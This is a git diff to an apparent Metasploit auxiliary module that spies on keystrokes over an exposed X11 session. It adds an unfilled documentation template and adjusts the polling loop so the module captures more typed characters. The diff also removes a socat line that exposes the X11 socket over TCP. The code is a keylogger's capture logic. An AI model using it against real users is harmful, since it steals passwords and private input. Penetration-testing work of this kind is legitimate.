diff --git a/documentation/modules/auxiliary/gather/x11_keyboard_spy.md b/documentation/modules/auxiliary/gather/x11_keyboard_spy.md new file mode 100644 index 000000000000..8aae87977d9b --- /dev/null +++ b/documentation/modules/auxiliary/gather/x11_keyboard_spy.md @@ -0,0 +1,44 @@ +The following is the recommended format for module documentation. But feel free to add more content/sections to this. +One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop +functioning in 5+ years, so giving links or specific examples can be VERY helpful. + +## Vulnerable Application + +Instructions to get the vulnerable application. If applicable, include links to the vulnerable install +files, as well as instructions on installing/configuring the environment if it is different than a +standard install. Much of this will come from the PR, and can be copy/pasted. + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Install the application +1. Start msfconsole +1. Do: `use [module path]` +1. Do: `run` +1. You should get a shell. + +## Options +List each option and how to use it. + +### Option Name + +Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. + +## Scenarios +Specific demo of using the module that might be useful in a real world scenario. + +### Version and OS + +``` +code or console output +``` + +For example: + +To do this specific thing, here's how you do it: + +``` +msf > use module_name +msf auxiliary(module_name) > set POWERLEVEL >9000 +msf auxiliary(module_name) > exploit +``` diff --git a/modules/auxiliary/gather/x11_keyboard_spy.rb b/modules/auxiliary/gather/x11_keyboard_spy.rb index 6328ed27ddf1..da54af30e732 100644 --- a/modules/auxiliary/gather/x11_keyboard_spy.rb +++ b/modules/auxiliary/gather/x11_keyboard_spy.rb @@ -19,13 +19,11 @@ def initialize(info = {}) The module works by connecting to the X11 session, creating a background window, binding a keyboard to it and creating a notification alert when a key is pressed. - One of the major limitations of xspy, and thus this module, is that it polls at a very fast rate, faster than a key being pressed is released (especiall before the repeat delay is hit). To combat printing multiple characters for a single key press, repeat characters arent printed. If a repeat character is pressed on the keyboard, it will unfortunately be ignored. - socat -d -d TCP-LISTEN:6000,fork,bind=127.0.0.1 UNIX-CONNECT:/tmp/.X11-unix/X1 }, 'License' => MSF_LICENSE, @@ -158,7 +156,9 @@ def run connect # tcp connection establish vprint_status('(1/9) Establishing X11 connection') sock.put(X11CONNECTIONREQUEST.new.to_binary_s) # x11 session establish - connection = process_initial_connection_response(sock.get_once(-1, 1)) + data = sock.get_once(-1, 1) + fail_with(Msf::Module::Failure::UnexpectedReply, 'Port connected, but no response to X11 connection attempt') if data.nil? + connection = process_initial_connection_response(data) if connection.success == 1 print_good('Successly established X11 connection') else @@ -227,11 +227,25 @@ def run loop do break if timeout > 0 && (stime + timeout < Time.now.to_f) - Rex.sleep(0.00001) # https://gitlab.com/kalilinux/packages/xspy/-/blob/kali/master/Xspy.c?ref_type=heads#L79 sock.put(QUERYKEYMAPREQUEST.new.to_binary_s) bit_array_of_keystrokes = QUERYKEYMAPREPLY.read(sock.get_once(-1, 1)).data print_keystroke(bit_array_of_keystrokes, key_map) + + # So we have a timing problem here. The c code does a 10 usec sleep via select + # https://gitlab.com/kalilinux/packages/xspy/-/blob/kali/master/Xspy.c?ref_type=heads#L79 + # when we try to replicate with either ruby sleep(0.00001), orRex.sleep(0.00001), we see + # both give a .2 second sleep which is FAR too slow for typing, we miss about 50% + # of typed characters at the author's typing speed. + # + # However, no sleep gives us repeated alternating characters for whatever reason + # so 'the' would give ththththththe. Still working on how to get around this + stall_start = Time.now + while (Time.now - stall_start < 0.001) + sock.put(QUERYKEYMAPREQUEST.new.to_binary_s) + sock.get_once(-1, 1) + # don't print, we're using this to slow things down + end end ensure vprint_status('Closing X11 connection')